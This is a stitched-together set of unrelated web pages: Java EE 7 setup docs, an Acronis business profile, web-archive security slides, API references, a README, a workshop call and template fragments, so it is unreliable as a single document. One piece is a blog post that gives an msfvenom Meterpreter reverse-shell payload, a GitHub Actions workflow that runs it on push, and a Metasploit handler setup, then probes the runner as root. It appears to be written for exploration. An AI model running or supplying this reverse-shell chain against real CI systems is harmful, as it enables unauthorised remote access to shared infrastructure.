This chapter tells you everything you need to know to install, build, and run the examples.
The following topics are addressed here:
The following software is required to run the examples:
To build, deploy, and run the examples, you need a copy of the Java Platform, Standard Edition Development Kit (JDK). You must use JDK 7 Update 65 or above or JDK 8 Update 20 or above. You can download JDK software from http://www.oracle.com/technetwork/java/javase/downloads/index.html
.
GlassFish Server Open Source Edition 4.1 is targeted as the build and runtime environment for the tutorial examples. To build, deploy, and run the examples, you need a copy of GlassFish Server and, optionally, NetBeans IDE. To obtain GlassFish Server, you must install the Java EE 7 Software Development Kit (SDK) Update 1, which you can download from http://www.oracle.com/technetwork/java/javaee/downloads/index.html
. Make sure that you download the Java EE 7 SDK Update 1, not the Java EE 7 Web Profile SDK Update 1.
The Java EE 7 SDK Update 1 is installed from a ZIP file. It sets the default administration user name as admin
with no required password. The Admin Port is set to 4848, and the HTTP Port is set to 8080.
This tutorial refers to as-install-parent, the directory where you install GlassFish Server. For example, the default installation directory on Microsoft Windows is C:\glassfish4
, so as-install-parent is C:\glassfish4
. GlassFish Server itself is installed in as-install, the glassfish
directory under as-install-parent. So on Microsoft Windows, as-install is C:\glassfish4\glassfish
.
After you install GlassFish Server, add the following directories to your PATH
to avoid having to specify the full path when you use commands:
as-install-parent/bin as-install/bin
The tutorial component, including the documentation and example source, is contained in the Java EE 7 SDK Update 1.
Updates to the Java EE 7 Tutorial are published periodically. For details on obtaining these updates, see Getting the Latest Updates to the Tutorial.
The NetBeans integrated development environment (IDE) is a free, open-source IDE for developing Java applications, including enterprise applications. NetBeans IDE supports the Java EE platform. You can build, package, deploy, and run the tutorial examples from within NetBeans IDE.
To run the tutorial examples, you need the latest version of NetBeans IDE. You can download NetBeans IDE from https://www.netbeans.org/downloads/index.html
. Make sure that you download the Java EE bundle.
When you install NetBeans IDE, do not install the version of GlassFish Server that comes with NetBeans IDE. To skip the installation of GlassFish Server, follow these steps.
On the first page of the NetBeans IDE Installer wizard, deselect the check box for GlassFish Server and click OK.
Accept both the License Agreement and the Junit License Agreement.
A few of the tutorial examples use the Junit library, so you should install it.
Continue with the installation of NetBeans IDE.
To run the tutorial examples in NetBeans IDE, you must add your GlassFish Server as a server in NetBeans IDE. Follow these instructions to add GlassFish Server to NetBeans IDE.
From the Tools menu, choose Servers.
In the Servers wizard, click Add Server.
Under Choose Server, select GlassFish Server and click Next.
Under Server Location, browse to the location of the Java EE 7 SDK and click Next.
Under Domain Location, select Register Local Domain.
Click Finish.
Maven is a Java technology–based build tool developed by the Apache Software Foundation and is used to build, package, and deploy the tutorial examples. To run the tutorial examples from the command line, you need Maven 3.0 or higher. If you do not already have Maven, you can install it from:
Be sure to add the maven-install/bin
directory to your path.
If you are using NetBeans IDE to build and run the examples, it includes a copy of Maven.
You can start and stop GlassFish Server using either NetBeans IDE or the command line.
Click the Services tab.
Expand Servers.
Right-click the GlassFish Server instance and select Start.
To stop GlassFish Server using NetBeans IDE, right-click the GlassFish Server instance and select Stop.
To start GlassFish Server from the command line, open a terminal window or command prompt and execute the following:
asadmin start-domain --verbose
A domain is a set of one or more GlassFish Server instances managed by one administration server. The following elements are associated with a domain:
The GlassFish Server port number: The default is 8080.
The administration server's port number: The default is 4848.
An administration user name and password: The default user name is admin
, and by default no password is required.
You specify these values when you install GlassFish Server. The examples in this tutorial assume that you chose the default ports as well as the default user name and lack of password.
With no arguments, the start-domain
command initiates the default domain, which is domain1
. The --verbose
flag causes all logging and debugging output to appear on the terminal window or command prompt. The output also goes into the server log, which is located in domain-dir/logs/server.log
.
To administer GlassFish Server and manage users, resources, and Java EE applications, use the Administration Console tool. GlassFish Server must be running before you invoke the Administration Console. To start the Administration Console, open a browser at http://localhost:4848/
.
Click the Services tab.
Expand Servers.
Right-click the GlassFish Server instance and select View Domain Admin Console.
|
Note: NetBeans IDE uses your default web browser to open the Administration Console. |
GlassFish Server includes the Java DB database server.
To start the Java DB server from the command line, open a terminal window or command prompt and execute:
asadmin start-database
To stop the Java DB server from the command line, open a terminal window or command prompt and execute:
asadmin stop-database
For information about the Java DB included with GlassFish Server, see http://www.oracle.com/technetwork/java/javadb/overview/index.html
.
When you start GlassFish Server using NetBeans IDE, the database server starts automatically. If you ever need to start the server manually, however, follow these steps.
Click the Services tab.
Expand Databases.
Right-click Java DB and select Start Server.
Next Steps
To stop the database using NetBeans IDE, right-click Java DB and select Stop Server.
To facilitate iterative development and keep application source files separate from compiled files, the tutorial examples use the Maven application directory structure.
Each application module has the following structure:
pom.xml
: Maven build file
src/main/java
: Java source files for the module
src/main/resources
: configuration files for the module, with the exception of web applications
src/main/webapp
: web pages, style sheets, tag files, and images (web applications only)
src/main/webapp/WEB-INF
: configuration files for web applications (web applications only)
When an example has multiple application modules packaged into an EAR file, its submodule directories use the following naming conventions:
example-name-app-client
: application clients
example-name-ejb
: enterprise bean JAR files
example-name-war
: web applications
example-name-ear
: enterprise applications
example-name-common
: library JAR containing components, classes, and files used by other modules
The Maven build files (pom.xml
) distributed with the examples contain goals to compile and assemble the application into the target
directory and deploy the archive to GlassFish Server.
Some of the chapters have instructions on how to build an example application using Maven archetypes. Archetypes are templates for generating a particular Maven project. The Tutorial includes several Maven archetypes for generating Java EE 7 projects.
You must install the included Maven archetypes into your local Maven repository before you can create new projects based on the archetypes. You can install the archetypes using NetBeans IDE or Maven.
Check for any updates to the tutorial by using the Update Tool included with the Java EE 7 SDK.
Open the Services tab in NetBeans IDE and expand Servers.
Right-click the GlassFish Server instance and select View Domain Update Center to display the Update Tool.
Select Available Updates in the tree to display a list of updated packages.
Look for updates to the Java EE 7 Tutorial (javaee-tutorial) package.
If there is an updated version of the Tutorial, select Java EE 7 Tutorial (javaee-tutorial) and click Install.
Open a terminal window and enter the following command to display the Update Tool:
updatetool
Select Available Updates in the tree to display a list of updated packages.
Look for updates to the Java EE 7 Tutorial (javaee-tutorial) package.
If there is an updated version of the Tutorial, select Java EE 7 Tutorial (javaee-tutorial) and click Install.
This section explains how to determine what is causing an error in your application deployment or execution.
One way to debug applications is to look at the server log in domain-dir/logs/server.log
. The log contains output from GlassFish Server and your applications. You can log messages from any Java class in your application with System.out.println
and the Java Logging APIs (documented at http://docs.oracle.com/javase/7/docs/technotes/guides/logging/index.html
) and from web components with the ServletContext.log
method.
If you use NetBeans IDE, logging output appears in the Output window as well as the server log.
If you start GlassFish Server with the --verbose
flag, all logging and debugging output will appear on the terminal window or command prompt and the server log. If you start GlassFish Server in the background, debugging information is available only in the log. You can view the server log with a text editor or with the Administration Console log viewer.
Select the GlassFish Server node.
Click View Log Files.
The log viewer opens and displays the last 40 entries.
To display other entries, follow these steps.
Click Modify Search.
Specify any constraints on the entries you want to see.
Click Search at the top of the log viewer.
GlassFish Server supports the Java Platform Debugger Architecture (JPDA). With JPDA, you can configure GlassFish Server to communicate debugging information using a socket.
Follow these steps to enable debugging in GlassFish Server using the Administration Console:
Expand the Configurations node, then expand the server-config node.
Select the JVM Settings node. The default debug options are set to:
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9009
As you can see, the default debugger socket port is 9009. You can change it to a port not in use by GlassFish Server or another service.
Select the Debug Enabled check box.
Click Save.
Stop GlassFish Server and then restart it.


acronis
Businessmodel of Acronis
Customer Segments
Acronis has a segmented market business model, with customer groups that have slightly different needs. The company targets its offerings at consumers and businesses.
Value Proposition
Acronis offers three primary value propositions: accessibility, cost reduction, and brand/status.
The company creates accessibility by providing a wide variety of options. It offers solutions for data in remote, local, mobile, and cloud devices. Also, its products have been certified to work with Ubuntu Software, Red Hat Software, Mandriva Linux, and SuSE Certified Linux Software. It has been able to expand its capabilities due to numerous acquisitions. Its purchases include BackupAgent, nScaled, and GroupLogic. These acquisitions have enabled it to greatly expand its portfolio.
The company reduces costs in a variety of ways. It regularly provides special offers, such as “buy one license, get one free” and “protect five computers for the price of three.” It also offers free trials.
The company has established a strong brand due to its success. It protects the data of over 500,000 businesses in various industries and over 5.5 million consumers in more than 145 countries. It employs over 900 people. Lastly, it has won over 45 awards. Its many honors include the following:
- Recognition as a Gold Winner in the the Server Backup Software category by Top 10 Reviews
- Recognition as one of CRN Magazine‘s 25 Coolest Mobile Software & Service Vendors
- The Channel Pro Reader’s Choice Award for Best Backup and Disaster Recovery
- Recognition as a Major Player in the IDC MarketScape: North America Disaster Recovery-as-a-Service Provider 2015 Vendor Assessment
- PC Magazine’s Editor’s Choice Award for the Acronis True Image Product ### Channels
Acronis’ main channel is its direct sales team. It also sells its products through a network of distributors, resellers, and service providers. The company promotes its offerings through its website, social media pages, sponsorships, and participation in conferences.
Customer Relationships
Acronis’ customer relationship is primarily of a self-service nature. Customers utilize its products while having limited interaction with employees. The company’s website features a “Resources” section with useful tools such as articles, white papers, data sheets, case studies, solution briefs, executive summaries, evaluation guides, infographics, and videos. The site also provides analyst reports and product documentation.
Despite this orientation, there is a personal assistance component in the form of 24/7 phone, e-mail, and live chat assistance. There is also a community element in the form of a peer forum.
Key Activities
Acronis’ business model entails designing and developing its software for customers.
Key Partners
Acronis has over 50,000 partners globally. It maintains the following types of partnerships:
Service Providers Program – The company works with firms that provide services to its customers to assist with the use of its products.
Resellers Program – The company works with firms that sell its products and offer related services in order to extend its reach.
OEM Program – The company works with firms that bundle its products into their software and hardware offerings in order to create enhanced solutions for customers.
Affiliates Program – The company works with firms that promote its offerings on their websites and other platforms, offering them a commission of up to 50% for completed sales.
Acronis provides partners with training programs, sales/marketing resources, 24/7 support, and access to a Partner Portal. Specific partners include ADN, CDW, Cloud Distribution, Comparex, HEG, Ingram Micro, Silvereye, and TechData.
Beyond these partners, Acronis also maintains technology alliances with ConnectWise, cPanel, Kaseya, LabTech, Microsoft, Odin, VMware, and Virtuozzo.
Key Resources
Acronis’ main resources are its human resources, who include the engineers that design and develop its products, the sales employees that sell them, and the customer service employees that provide support.
It maintains important physical resources in the form of research and development centers in the United States, Russia, and Singapore, and cloud data centers in the U.S., Germany, France, Russia, Japan, and Singapore. It places a high priority on intellectual property, with over 100 patents. Lastly, it has relied on funding from outside parties, raising $11 million from three investors as of January 2004.
Cost Structure
Acronis has a cost-driven structure, aiming to minimize expenses through significant automation. Its biggest cost driver is likely sales/marketing, a fixed cost. Other major drivers are in the areas of customer support/operations and administration, both fixed costs.
Revenue Streams
Acronis has one revenue stream: revenues it generates from the sale of its products to customers.


We use a mathematical approach to representing your system. A protocol representing the structure and behavior of your system. Once we have understood the structure and behavior of your desired system, we produce the implementation.


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Apart from regular repositories and projects on Web Development, Ethical Hacking, App Development. I develop projects which does not come under them.
Like Python Projects, Networking Tools and Materials, solution for Competitive Challenges and more. To View them follow the link.
View all ProjectsCopyright © 2020 Avinash Ranjan


Input Parser¶
-
src.input_parser.
input_parser
(m)[source]¶ Given length of sequences, load input data corresponding to this length.
Parameters: m – Length of sequences in the input. Returns: tuple, containing: - sequences_list: List of sequences in the input, parsed such that sequences_list[i] holds a list of integers that are the colors of this sequence.
- n_correct_vertices_list: List holding the number of correct vertices in each sequence in sequences_list.
Note
This function assumes the existence of ‘data/input_m.txt’
Todo
find a better name for n_correct_vertices_list
This page was generated using this .rst code:¶
Input Parser
==================
|
|
.. automodule:: src.input_parser
:members: input_parser
|
|
This page was generated using this .rst code:
*********************************************
|
.. literalinclude:: input_parser.rst
|
|
:ref:`Return Home <mastertoc>`


Thinking like a hacker:
Security Considerations for
High-Fidelity Web Archives
Jack Cushman, Perma.cc
Ilya Kreymer, Webrecorder
Why is security a concern in a web archive?
- Web Archives just collection of old pages
- Live site is "safe", so nothing to worry about
- Pages in web archives are always reliable
- Replay issues side, page loaded from an archive could intentionally deceive
So our challenge:
Possible security threats
- Archiving local server files
- Hacking the headless browser
- Stealing user secrets during capture
- Cross site scripting to steal archive logins
- Live web leakage on playback
- Show different page contents when archived
- Banner spoofing
Threat: Archiving local content
- Capture system could have privileged access:
- Local ports: http://localhost:8080/
- Network server: http://private-server/
- Local files: file:///etc/passwd
- Could capture private resources, into a public archive
Mitigation:Network Filtering + Sandboxing
- Don't allow capture of local ip ranges
- Restrict to http(s) protocol
- Run capture in isolated container/VM
Threat:Hacking the headless browser
- Modern captures may use PhantomJS or other browsers on the server
- Most browsers have known exploits
Mitigation: Sandboxing
- Run capture system in isolated virtual machine
- Keep VM up to date
Threat:Stealing user secrets during capture
- Normal web flow:
- https://twitter.com/login
- https://doubleclick.com/evil-ad
- Standard cross-domain protections do not apply!
Threat:Stealing user secrets during capture
Partial Mitigation: Rewriting
- Rewrite cookies to exact path only
- Rewrite JS to intercept cookie access
Mitigation: Separate Recording Sessions
- For Webrecorder, use separate recording sessions when recording credentialed content
Mitigation: Remote browser
- Record in containerized/proxy mode browser
Threat:Cross site scripting to steal archive logins
- http://myarchive.com/login is the main institution login page
- http://myarchive.com/web/http://evil.com is a web archive
- safe?
No!
- Cross-site scripting (XSS): an admin who visits http://myarchive.com/web/http://evil.com has their account taken over
Threat:Cross site scripting to steal archive logins
...across subdomains
- http://myarchive.com/login is the main institution login page
- http://web.myarchive.com/http://evil.com is a web archive
- safe?
Still no ...
- In IE10, evil.com might steal login cookie
- In all browsers, evil.com can wipe and replace cookies
Mitigation: Run web archive on separate domain
- Use iframes to isolate web archive content
- Load web archive app from app domain
- Load iframe content from content domain
Threat:Live web leakage on playback
- Javascript can send messages to evil.com and fetch new content
- ... to mislead, track users, or rewrite history
- (Bonus for private archives -- any of your captures could export any of your other captures)
Mitigation:Content-Security-Policy header can limit access to web archive domain
Threat:Show different page contents when archived
- Pages can tell they're in an archive and act differently
Mitigation: Run archive in containerized/proxy mode browser
Threat:Banner spoofing
- Pages can dynamically edit the archive's banner
Mitigation:Use iframes for replay
- Don't inject banner into replay frame
- Use X-Frame-Options header to limit embedding
- Serve from separate content domain
- Use iframe sandbox (more restrictive)
Mitigation: Run archive in containerized/proxy mode browser
Mitigation: Display rendered DOM and strip javascript (archive.is)
What's next?
- Build tools for web archive security research
- Challenge researchers to find security issues


Uses of Class
org.bukkit.inventory.CookingRecipe
Package
Description
Classes used to manipulate the voxels in a
world
,
including special states.Classes involved in manipulating player inventories and item interactions.
-
Uses of CookingRecipe in org.bukkit.block
Modifier and TypeMethodDescriptionvoid
Furnace.setRecipeUsedCount
(CookingRecipe<?> furnaceRecipe, int count) Sets the number of times a recipe has been used.Modifier and TypeMethodDescriptionvoid
Furnace.setRecipesUsed
(@NotNull Map<CookingRecipe<?>, Integer> recipesUsed) Sets all recipes used by this furnace. -
Uses of CookingRecipe in org.bukkit.event.block
Modifier and TypeMethodDescriptionBlockCookEvent.getRecipe()
Gets the cooking recipe associated with this event.ModifierConstructorDescriptionBlockCookEvent
(@NotNull Block block, @NotNull ItemStack source, @NotNull ItemStack result, CookingRecipe<?> recipe) -
Uses of CookingRecipe in org.bukkit.event.inventory
Modifier and TypeMethodDescriptionFurnaceStartSmeltEvent.getRecipe()
Gets the FurnaceRecipe associated with this eventModifierConstructorDescriptionFurnaceSmeltEvent
(@NotNull Block furnace, @NotNull ItemStack source, @NotNull ItemStack result, CookingRecipe<?> recipe) FurnaceStartSmeltEvent
(@NotNull Block furnace, @NotNull ItemStack source, @NotNull CookingRecipe<?> recipe) Deprecated.FurnaceStartSmeltEvent
(@NotNull Block furnace, @NotNull ItemStack source, @NotNull CookingRecipe<?> recipe, int cookingTime) -
Uses of CookingRecipe in org.bukkit.inventory
Modifier and TypeClassDescriptionclass
CookingRecipe<T extends CookingRecipe>
Represents a cooking recipe.Modifier and TypeClassDescriptionclass
Represents a campfire recipe.class
Represents a campfire recipe.class
Represents a furnace recipe.class
Represents a campfire recipe.Modifier and TypeMethodDescriptionSets the input of this cooking recipe.


Information Agent v0.1
My current mood
pleased
aroused
dominant
RECORD AUDIO
My current activity
Browse my screenshots
My location
My agenda
Who can see my stuff?
My agenda
My location
My mood
My photos
Family
Friends
Teachers
Students
Medical staff
My Friends
My user info
user name
testing
Current public IP address
Current location
--
--


NodeJS version of the ChromeVox speech rule engine. Forked from ChromeVox release 1.31.0
There are two ways of using this engine. Either as a package via npm or by building it as a standalone tool. The former is the easiest way to use the speech rule engine via its Api and is the preferred option if you just want to include it in your project. The latter is useful if you want to use the speech rule engine in batch mode or interactivley to add your own code.
Install as a node module using npm:
npm install speech-rule-engine
Then import into a running node or a source file using require:
require('speech-rule-engine');
Current API functions are
processExpression(mathml);
Takes a string containing a MathML expression and returns the corresponding speech string.
processFile(input, output);
Takes an input file containing a MathML expression and writes the corresponding speech string to the output file.
setupEngine(options);
Takes an object of option/value pairs to parameterise the Speech Rule Engine. Valid options are:
| Option | Value |
|---|---|
| domain | Domain or subject area of speech rules (e.g., mathspeak, physics). |
| style | Style of speech rules (e.g., brief). |
| semantics | Boolean flag to swich on semantic interpretation. |
Observe that some speech rule domains only make sense with semantics switched on or off and that not every domain implements every style. See also the description of the command line parameters in the next section for more details.
Node dependencies you have to install:
closure
closurecompiler
closure-library
xmldom
xpath
commander
Using npm run
npm install closure closurecompiler closure-library xmldom xpath commander
In version 1.43 of the closure library there is a mistake in the file
closure-library/closure/bin/build/jscompiler.py
You might need to change
# Attempt 32-bit mode if we're <= Java 1.7
if java_version >= 1.7:
args += ['-d32']
to
# Attempt 32-bit mode if we're <= Java 1.7
if java_version <= 1.7:
args += ['-d32']
Depending on your setup you might need to adapt the NODEJS and NODE_MODULES variable in the Makefile. Then simply run
make
bin/sre -i infile -o outfile
As an example run
bin/sre -i samples/sample1.xml -o sample1.txt
Import into a running node process
require('./lib/sre4node.js');
Note, that this will import the full functionality of the speech rule engine in the sre namespace and of the closure library in the goog namespace.
The following is a list of command line options for the speech rule engine.
| Short | Long | Meaning |
|---|---|---|
| -i | --input [name] | Input file [name] |
| -o | --output [name] | Output file [name]. |
| If not given output is printed to stdout. | ||
| -d | --domain [name] | Domain or subject area [name]. |
| This refers to a particular subject type of speech rules or subject area rules are defined for (e.g., mathspeak, physics). | ||
| If no domain parameter is provided, domain default is used. | ||
| -t | --style [name] | Speech style [name]. |
| Selects a particular speech style (e.g., brief). | ||
| If no style parameter is provided, style default is used. | ||
| -s | --semantics | Switch on semantics interpretation. |
| Note, that some speech rule domains only make sense with semantics switched on or off. | ||
| -e | --enumerate | Enumerates all available domains and styles. |
| Note that not every style is implemented in every domain. | ||
| -v | --verbose | Verbose mode. Print additional information, useful for debugging. |
| -l | --log [name] | Log file [name]. Verbose output is redirected to this file. |
| If not given verbose output is printed to stdout. | ||
| -h | --help | output usage information |
| -V | --version | output the version number |


MOTIVATION
Model-driven engineering (MDE) and artificial intelligence (AI) are two separate fields in computer science, which can clearly benefit from cross-pollination and collaboration. There are at least two ways in which such integration—which we call MDE Intelligence—can manifest:
- Artificial Intelligence for MDE. MDE can benefit from integrating AI concepts and ideas, for example by increasing the power and flexibility of model transformations through search-based approaches, or by increasing the ability to abstract from partially formed, manual sketches into fully-shaped and formally specified meta-models and editors.
- MDE for Artificial Intelligence. Conversely, AI can benefit from integrating concepts and ideas from MDE. For example, using domain-specific languages and model transformations allows domain experts to directly express and manipulate their problems while providing an auditable conversion pipeline. Together this can improve trust in and safety of AI technologies. Similarly, MDE technologies can contribute to the goal of explainable AI.
TOPICS
Topics of interest for the workshop include, but are not limited to:
- AI for MDE:
- Application of (meta-heuristic) search to modelling problems;
- Machine learning of models, meta-models, concrete syntax, model transformations, etc.;
- AI planning applied to modelling, meta-modelling, and model management;
- Modeling bots, chatbots and virtual assistants in the modeling tasks;
- Model inferencers and automatic model generators from datasets;
- Self-adapting code generators;
- AI-based user interface adaptation for modeling tools;
- AI with human-in-the-loop for modeling;
- Semantic reasoning platforms over domain-specific models;
- Semantic integration of design-time models with runtime data;
- General-knowledge or domain-specific ontologies;
- Probabilistic models;
- Use of AI techniques in data, process and model mining and categorisation;
- Natural language processing applied to modelling;
- Perception and modelling.
- MDE for AI:
- Domain-specific modelling approaches for AI planning, machine learning, agent-based modelling, etc.;
- Model-driven processes for AI system development;
- MDE techniques for explainable AI;
- Using models for knowledge representation;
- Code-generation for AI libraries and platforms;
- Model-based testing of AI components.
- General
- Tools for combining AI and MDE;
- Case studies in MDE Intelligence;
- Challenge problems to be addressed by combining AI and MDE techniques.
SUBMISSIONS
You are invited to apply for attendance by sending the following types of papers:
- Research/technical papers or work-in-progress papers of at most 6 pages,
- Vision papers, experience papers, case study papers or demos of at most 4 pages.
Submitted papers must conform to the IEEE double column format.
Submissions must be uploaded through EasyChair in the following link https://easychair.org/conferences/?conf=mdeintelligence2019.
Each submission will be review by at least 3 members of the program committee. They will value the relevance and interest for discussions that will take place at the workshop. Accepted papers will be published in the IEEE Satellite Event Proceedings.
IMPORTANT DATES
- Abstract submission: June 28, 2019
- Paper submission: July 5, 2019
- Notification: July 26, 2019
- Camera-ready: August 2, 2019
- Workshop date: September 15-17, 2019
Contact
If you have questions, contact us by email at: mdeintelligence2019@easychair.org.


I recently got my beta invite to the awesome Github Actions feature. This is a free to use CI/CD system. If you’re not familiar with CI/CD, you can think of it as a system which runs a series of actions during your development process to help test/maintain/deploy it. For example you could use CI to run your test suite on every commit, so you know if someone just broke the build.
To do this we use “runners” which are essentially execution environments (e.g. a Virtual Machine) that runs our tests or other actions.
Of course what do pentesters think, seeing the idea that someone’s going to let me execute commands somewhere… “hey can I get a shell on that?” :)
Antitree got there first on twitter but I thought it could be fun to walk through the process in a little more detail than twitter’s format allows.
The pre-requisite for this is that your Github account has actions enabled. Once you’ve got that here’s a set of steps to get a shell on one of Github’s runners.
It’s worth noting that what we’re detailing below isn’t likely any kind of security issue for Github, I’d expect that they’re providing dedicated ephemeral instances as CI runners, so you’re not likely to get access to anyone else’s infrastructure using this technique, it’s just a bit of fun :)
One thing to note though in general for CI/CD environments is how important isolation is, if you’re running untrusted code in pipelines. As we’ll show here, it’s pretty easy to get a shell back out of a runner, so don’t run these in a network with other important hosts…
Just like in the previous post on Kubernetes shells we’re going to use Metasploit for this. So we need a reverse shell payload that we can call back to. For this, you’ll need to have the port receiving the connection visible on the Internet with no firewall in the way, you could use something like a Digital Ocean droplet or EC2 instance for this.
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=YOURIP LPORT=YOURPORT -f elf > reverse_shell.elf
just replace YOURIP
and YOURPORT
with your information.
Now we’ve got a shell program, just start a new Github repository and add the shell to the repo.
We just need to create our action now that will get triggered when we push changes to our Github repository. Github actions live in .github/workflows/
and are in YAML format. Create a file called testaction.yml
in there and you can put something like this into the file.
name: Shell
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v1
- name: metasploit reverse shell
run: ./reverse_shell.elf
Now when we commit our repository, Github should run our action. Before we do that make sure to set-up Metasploit to receive the connection.
after running msfconsole
you can do the following steps
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_http
set LHOST YOURIP
set LPORT YOURPORT
exploit
Then push your shell and action code to Github to trigger the action, and all being well you should get a shell :)
So once you’ve got your shell what can you see? Well it’s running an Ubuntu based distro, as we’d expect (it is possible to get Windows or indeed Mac runners, so you could repeat this exercise with them)
“Privesc”
When you first get the shell, you’re running as the runner
user but it’s got passwordless sudo
access, so you can just sudo bash
to get root
.
Listening ports
Running ss -ltnp
will show us the listening TCP ports
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 <IP_ADDRESS>:3306 <IP_ADDRESS>:*
LISTEN 0 128 <IP_ADDRESS>%lo:53 <IP_ADDRESS>:*
LISTEN 0 128 <IP_ADDRESS>:22 <IP_ADDRESS>:*
LISTEN 0 128 [::]:22 [::]:*
The port 3306/TCP
is kind of interesting, as my action didn’t make any use of MySQL.
Routing Table
Nothing hugely interesting on the routing table, although interesting that docker0
is there, so we’re running Docker on the runner host.
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
<IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> UG 100 0 0 eth0
<IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> U 0 0 0 eth0
<IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> UGH 100 0 0 eth0
<IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> UGH 100 0 0 eth0
<IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> U 0 0 0 docker0
Running Processes
One thing I thought was interesting, although not really surprising, is that there are quite a few dotnet core processes running on the host.
Users on the host
A quick look at /etc/passwd
shows up a couple of non-standard users
pollinate:x:110:1::/var/cache/pollinate:/bin/false
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
sphinxsearch:x:112:117:Sphinx fulltext search service,,,:/var/run/sphinxsearch:/usr/sbin/nologin
runneradmin:x:1000:1000:Ubuntu:/home/runneradmin:/bin/bash
runner:x:1001:115:,,,:/home/runner:/bin/bash
This is just a quick exploration of a Github Actions runner host, showing some of the techniques that can be used to get shells in CI systems, if you have the ability to submit commands to them.
Overall Github actions looks really cool, and I’m looking forward to integrating it into a lot of my repo’s alongside their private repository feature.


| Select a state: |
| Enter the name of a county in {{stateToSearch}}: |
| State: | {{state}} |
| Area Name: | {{areaName}} |
| Median Household Income: | {{medianHHIncome | currency}} |
| Median Property Value: | {{medianProperty | currency}} |
| Cost of Living Index for {{state}}: | {{costOfLiving}} |
| Cost of Groceries Index for {{state}}: | {{costOfGroceries}} |
| 50th percentile for renting a 1 bedroom unit: | {{rent1bed | currency}} |
| 50th percentile for renting a 4 bedroom unit: | {{rent4bed | currency}} |


Boost.Range |
Generic algorithms have so far been specified in terms of two or more iterators. Two iterators would together form a range of values that the algorithm could work on. This leads to a very general interface, but also to a somewhat clumsy use of the algorithms with redundant specification of container names. Therefore we would like to raise the abstraction level for algorithms so they specify their interface in terms of Ranges as much as possible.
The most common form of ranges we are used to work with is standard library containers. However, one often finds it desirable to extend that code to work with other types that offer enough functionality to satisfy the needs of the generic code if a suitable layer of indirection is applied . For example, raw arrays are often suitable for use with generic code that works with containers, provided a suitable adapter is used.
This library therefore provides the means to adapt standard-like
containers, std::pairs
of iterators, and raw arrays (and
more), such that
the same generic code can work with them all.
The basic idea is to add another layer of indirection using metafunctions and
free-standing functions so syntactic and/or semantic differences can be removed.
The main advantages are
Below is given a small example (the complete example can be found here):
By using the free-standing functions and metafunctions, the code automatically works for all the types supported by this library; now and in the future. Notice that we have to provide two version of// // example: extracting bounds in a generic algorithm // template< class ForwardReadableRange, class T > inline typename boost::range_iterator< ForwardReadableRange >::type find( ForwardReadableRange& c, const T& value ) { return std::find( boost::begin( c ), boost::end( c ), value ); } template< class ForwardReadableRange, class T > inline typename boost::range_iterator< const ForwardReadableRange >::type find( const ForwardReadableRange& c, const T& value ) { return std::find( boost::begin( c ), boost::end( c ), value ); } // // replace first value and return its index // template< class ForwardReadableWriteableRange, class T > inline typename boost::range_difference< ForwardReadableWriteableRange >::type my_generic_replace( ForwardReadableWriteableRange& c, const T& value, const T& replacement ) { typename boost::range_iterator< ForwardReadableWriteableRange >::type found = find( c, value ); if( found != boost::end( c ) ) *found = replacement; return std::distance( boost::begin( c ), found ); } // // usage // const int N = 5; std::vector<int> my_vector; int values[] = { 1,2,3,4,5,6,7,8,9 }; my_vector.assign( values, boost::end( values ) ); typedef std::vector<int>::iterator iterator; std::pair<iterator,iterator> my_view( boost::begin( my_vector ), boost::begin( my_vector ) + N ); char str_val[] = "a string"; char* str = str_val; std::cout << my_generic_replace( my_vector, 4, 2 ); std::cout << my_generic_replace( my_view, 4, 2 ); std::cout << my_generic_replace( str, 'a', 'b' ); // prints '3', '5' and '0'
find()
since we cannot forward a non-const
rvalue with reference arguments (see this article about The
Forwarding Problem ).
© Copyright Thorsten Ottosen 2008.
Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at www.boost.org/LICENSE_1_0.txt)


# What is a Software Engineer? _By Daniel Scheufler_
## Overview * Who am I? * Models * What is a Software Engineer
![alt text](../img/improving/hiring.png "Improving is hiring")
![alt text](../img/improving/training.png "Upcoming Trainings")
Who am I?
Christian
Husband
Father
Software Engineer
'To see with eyes unclouded'
## Models _'All models are wrong but some are useful.'_ - George Box
![alt text](../../img/talk/soft_eng/magician.jpg "A Magician")
![alt text](../../img/talk/soft_eng/translator.jpg "A Translator")
![alt text](../../img/talk/soft_eng/assembly_line.png "Factory Workers")
![alt text](../../img/talk/soft_eng/blacksmith.jpg "Craftsmen")
![alt text](../../img/talk/soft_eng/alien.png "An Alien")
![alt text](../../img/talk/soft_eng/human.gif "Human")
## Having any feedback? ![alt text](../../img/qr/speaker_form.png "goo.gl/forms/c1sJ2BJX32zAct7J3")
## Care for more? * [daniel.scheufler.io](//daniel.scheufler.io) * [daniel@scheufler.io](mailto:daniel@scheufler.io)


Tell me your referral id and we're a go. Save it!
Awesome sauce! Click the Poncho button on the top right.


Average Calculated Lengths (m)
Coupling Length:
{{ coupling_length }}
Coupling IQR:
[{{ coupling_bounds[1] }}, {{ coupling_bounds[3] }}]
Coupling Bounds (2%):
[{{ coupling_bounds[0] }}, {{ coupling_bounds[4] }}]


GLI 2.0 is out! GLI is the best way to make a “command-suite” command line interface. If you need to make a complex
command line app that takes subcommands, like git
or gem
, GLI is the most powerful and easy-to-use way to do that.
Unlike thor
or trollop
, GLI sits on top of OptionParser
, giving you access to its powerful features. GLI-powered apps have
fully-featured help systems - you just need to provide a bit of documentation. There’s also support for a basic application
lifecycle and with almost no code, you have an awesome, well-behaved command-line app that’s easy to write, easy to test, easy to
use, and easy to maintain.
New Features
- Arbitrarily deep sub- and sub-sub-commands. Think
git remote add
. - Uses
OptionParser
, meaning your command-line options can benefit from type conversions, validation checks, negatability, and all the other awesome that comes fromOptionParser
. - Whole new help system that shows command-line invocation examples, generated from your code.
- Bootstrapped apps now include an
.rvmrc
and a shell for acceptance testing via aruba. - More flexible documentation-generation systems to allow any format of documentation to be generated (currently, only RDoc is implemented).
